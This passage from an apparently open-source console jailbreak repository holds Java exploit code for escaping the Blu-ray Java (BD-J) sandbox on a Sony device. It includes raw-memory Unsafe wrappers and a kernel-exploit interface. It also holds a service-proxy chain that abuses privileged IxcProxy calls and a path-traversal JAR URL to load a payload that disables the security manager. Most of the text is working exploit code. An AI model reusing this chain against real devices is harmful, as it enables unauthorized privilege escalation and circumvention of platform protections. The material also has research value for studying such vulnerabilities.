theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
}
public byte getByte(long address) {
return unsafe.getByte(address);
}
public short getShort(long address) {
return unsafe.getShort(address);
}
public int getInt(long address) {
return unsafe.getInt(address);
}
public long getLong(long address) {
return unsafe.getLong(address);
}
public long getLong(Object o, long offset) {
return unsafe.getLong(o, offset);
}
public void putByte(long address, byte x) {
unsafe.putByte(address, x);
}
public void putShort(long address, short x) {
unsafe.putShort(address, x);
}
public void putInt(long address, int x) {
unsafe.putInt(address, x);
}
public void putLong(long address, long x) {
unsafe.putLong(address, x);
}
public void putObject(Object o, long offset, Object x) {
unsafe.putObject(o, offset, x);
}
public long objectFieldOffset(Field f) {
return unsafe.objectFieldOffset(f);
}
public long allocateMemory(long bytes) {
return unsafe.allocateMemory(bytes);
}
public long reallocateMemory(long address, long bytes) {
return unsafe.reallocateMemory(address, bytes);
}
public void freeMemory(long address) {
unsafe.freeMemory(address);
}
public void setMemory(long address, long bytes, byte value) {
unsafe.setMemory(address, bytes, value);
}
public void copyMemory(long srcAddress, long destAddress, long bytes) {
unsafe.copyMemory(srcAddress, destAddress, bytes);
}
}
================================================
FILE: src/com/bdjb/api/UnsafeSunImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.api;
import java.lang.reflect.Field;
import sun.misc.Unsafe;
class UnsafeSunImpl implements UnsafeInterface {
private static final String UNSAFE_CLASS_NAME = "sun.misc.Unsafe";
private static final String THE_UNSAFE_FIELD_NAME = "theUnsafe";
private final Unsafe unsafe;
UnsafeSunImpl() throws Exception {
// Throw exception if class does not exist.
Class.forName(UNSAFE_CLASS_NAME);
// Get unsafe instance.
Field theUnsafeField = Unsafe.class.getDeclaredField(THE_UNSAFE_FIELD_NAME);
theUnsafeField.setAccessible(true);
unsafe = (Unsafe) theUnsafeField.get(null);
}
public byte getByte(long address) {
return unsafe.getByte(address);
}
public short getShort(long address) {
return unsafe.getShort(address);
}
public int getInt(long address) {
return unsafe.getInt(address);
}
public long getLong(long address) {
return unsafe.getLong(address);
}
public long getLong(Object o, long offset) {
return unsafe.getLong(o, offset);
}
public void putByte(long address, byte x) {
unsafe.putByte(address, x);
}
public void putShort(long address, short x) {
unsafe.putShort(address, x);
}
public void putInt(long address, int x) {
unsafe.putInt(address, x);
}
public void putLong(long address, long x) {
unsafe.putLong(address, x);
}
public void putObject(Object o, long offset, Object x) {
unsafe.putObject(o, offset, x);
}
public long objectFieldOffset(Field f) {
return unsafe.objectFieldOffset(f);
}
public long allocateMemory(long bytes) {
return unsafe.allocateMemory(bytes);
}
public long reallocateMemory(long address, long bytes) {
return unsafe.reallocateMemory(address, bytes);
}
public void freeMemory(long address) {
unsafe.freeMemory(address);
}
public void setMemory(long address, long bytes, byte value) {
unsafe.setMemory(address, bytes, value);
}
public void copyMemory(long srcAddress, long destAddress, long bytes) {
unsafe.copyMemory(srcAddress, destAddress, bytes);
}
}
================================================
FILE: src/com/bdjb/bluray.LoaderXlet.perm
================================================
*
================================================
FILE: src/com/bdjb/exploit/kernel/ExploitKernelInterface.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.kernel;
public interface ExploitKernelInterface {
public boolean trigger() throws Exception;
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ExploitDefaultImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
/** Default exploit implementation. */
public class ExploitDefaultImpl implements ExploitSandboxInterface {
public boolean trigger() throws Exception {
System.setSecurityManager(null);
return System.getSecurityManager() == null;
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ExploitSandboxInterface.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
public interface ExploitSandboxInterface {
public boolean trigger() throws Exception;
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ExploitServiceProxyImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.Provider;
import java.security.Security;
/** Implementation of the service+proxy exploit. */
public class ExploitServiceProxyImpl implements ExploitSandboxInterface {
private static final String SERVICE_CLASS_NAME = "com.oracle.security.Service";
private static final String NEW_INSTANCE_METHOD_NAME = "newInstance";
private static final String NEW_INSTANCE_METHOD_SIGNATURE =
"(Ljava/lang/Object;)Ljava/lang/Object;";
private static final String PAYLOAD_CLASS_NAME = "com.bdjb.exploit.sandbox.Payload";
private static final String JAR_URL =
"file:///app0/bdjstack/lib/ext/../../../../disc/BDMV/JAR/00000.jar";
public boolean trigger() throws Exception {
// Throw exception if class does not exist.
Class.forName(SERVICE_CLASS_NAME);
IxcProxyImpl proxy = IxcProxyImpl.getInstance();
// Prepare service object with the class to be instantiated.
Provider[] providers = Security.getProviders();
ServiceImpl service =
new ServiceImpl(
providers[0], "exploit", "exploit", URLClassLoader.class.getName(), null, null);
ProviderAccessorImpl providerAccessor = new ProviderAccessorImpl(providers);
providerAccessor.putService(providers[0], service);
providerAccessor.setProviderAccessor();
// Instantiate the URLClassLoader class with privileges and a vulnerable path.
URL[] urls = new URL[] {new URL(JAR_URL)};
URLClassLoader urlClassLoader =
(URLClassLoader)
proxy.invokeMethod(
service,
NEW_INSTANCE_METHOD_NAME,
NEW_INSTANCE_METHOD_SIGNATURE,
new Object[] {urls});
// Instantiate the payload class with all permissions to disable the security manager.
Class payloadClass = urlClassLoader.loadClass(PAYLOAD_CLASS_NAME);
payloadClass.newInstance();
return System.getSecurityManager() == null;
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/IxcProxyImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import com.sony.gemstack.core.CoreAppContext;
import com.sony.gemstack.core.CoreIxcClassLoader;
import com.sony.gemstack.org.dvb.io.ixc.IxcProxy;
import java.rmi.RemoteException;
/** IxcProxy implementation that allows certain public methods to be invoked with privileges. */
class IxcProxyImpl extends IxcProxy {
private static IxcProxyImpl instance;
private Object remote;
private IxcProxyImpl(CoreIxcClassLoader localClassLoader, CoreIxcClassLoader remoteClassLoader) {
super(localClassLoader, remoteClassLoader);
}
static synchronized IxcProxyImpl getInstance() {
if (instance == null) {
CoreIxcClassLoader coreIxcClassLoader = CoreAppContext.getContext().getIxcClassLoader();
instance = new IxcProxyImpl(coreIxcClassLoader, coreIxcClassLoader);
}
return instance;
}
public Object getRemote() {
return remote;
}
public void forgetRemote() {}
/** Override to avoid serializing the return object. */
protected Object replaceObject(Object obj, CoreIxcClassLoader coreIxcClassLoader)
throws RemoteException {
return obj;
}
public Object invokeMethod(Object obj, String name, String signature, Object[] args)
throws Exception {
this.remote = obj;
return super.invokeMethod(args, name, signature);
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/Payload.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import java.security.AccessController;
import java.security.PrivilegedActionException;
import java.security.PrivilegedExceptionAction;
/** Payload class that is loaded with all permissions in order to disable the security manager. */
public class Payload implements PrivilegedExceptionAction {
public Payload() throws PrivilegedActionException {
AccessController.doPrivileged(this);
}
public Object run() throws Exception {
System.setSecurityManager(null);
return null;
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ProviderAccessorImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import com.oracle.ProviderAccessor;
import com.oracle.ProviderAdapter;
import com.oracle.security.Service;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.Set;
import java.security.Provider;
/** ProviderAccessor implementation that allows arbitrary services to be added. */
class ProviderAccessorImpl implements ProviderAccessor {
private final HashMap providerServices = new HashMap();
ProviderAccessorImpl(Provider[] providers) {
this.copyProviderServices(providers);
}
private void copyProviderServices(Provider[] providers) {
for (int i = 0; i < providers.length; i++) {
providerServices.put(providers[i], new HashSet(ProviderAdapter.getServices(providers[i])));
}
}
void setProviderAccessor() {
ProviderAdapter.setProviderAccessor(this);
}
public Service getService(Provider provider, String type, String algorithm) {
Set services = getServices(provider);
if (services != null) {
Iterator iterator = services.iterator();
while (iterator.hasNext()) {
Service service = (Service) iterator.next();
if (service.getType().equals(type)
&& (service.getAlgorithm().equals(algorithm)
|| service.getAliases().contains(algorithm))) {
return service;
}
}
}
return null;
}
public Set getServices(Provider provider) {
return (Set) providerServices.get(provider);
}
public void putService(Provider provider, Object service) {
Set services = getServices(provider);
if (services != null) {
services.add(service);
}
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ServiceImpl.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import com.oracle.security.Service;
import java.util.List;
import java.util.Map;
import java.security.Provider;
/** Service subclass implementing ServiceInterface in order to be accessible with IxcProxyImpl. */
class ServiceImpl extends Service implements ServiceInterface {
ServiceImpl(Provider provider) {
super(provider);
}
ServiceImpl(
Provider provider,
String type,
String algorithm,
String className,
List aliases,
Map attributes) {
super(provider, type, algorithm, className, aliases, attributes);
}
}
================================================
FILE: src/com/bdjb/exploit/sandbox/ServiceInterface.java
================================================
/*
* Copyright (C) 2021-2024 Andy Nguyen
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
package com.bdjb.exploit.sandbox;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.security.NoSuchAlgorithmException;
/** Service interface with methods of interest throwing RemoteException. */
interface ServiceInterface extends Remote {
public Object newInstance(Object constructorParameter)
throws RemoteException, NoSuchAlgorithmException;
}
================================================
FILE: src/jdk/internal/misc/Unsafe.java
================================================
package jdk.internal.misc;
import java.lang.reflect.Field;
public class Unsafe {
public byte getByte(long address) {
return 42;
}
public short getShort(long address) {
return 42;
}
public int getInt(long address) {
return 42;
}
public long getLong(long address) {
return 42;
}
public long getLong(Object o, long offset) {
return 42;
}
public void putByte(long address, byte x) {}
public void putShort(long address, short x) {}
public void putInt(long address, int x) {}
public void putLong(long address, long x) {}
public void putObject(Object o, long offset, Object x) {}
public long objectFieldOffset(Field f) {
return 42;
}
public long allocateMemory(long bytes) {
return 42;
}
public long reallocateMemory(long address, long bytes) {
return 42;
}
public void freeMemory(long address) {}
public void setMemory(long address, long bytes, byte value) {}
public void copyMemory(long srcAddress, long destAddress, long bytes) {}
}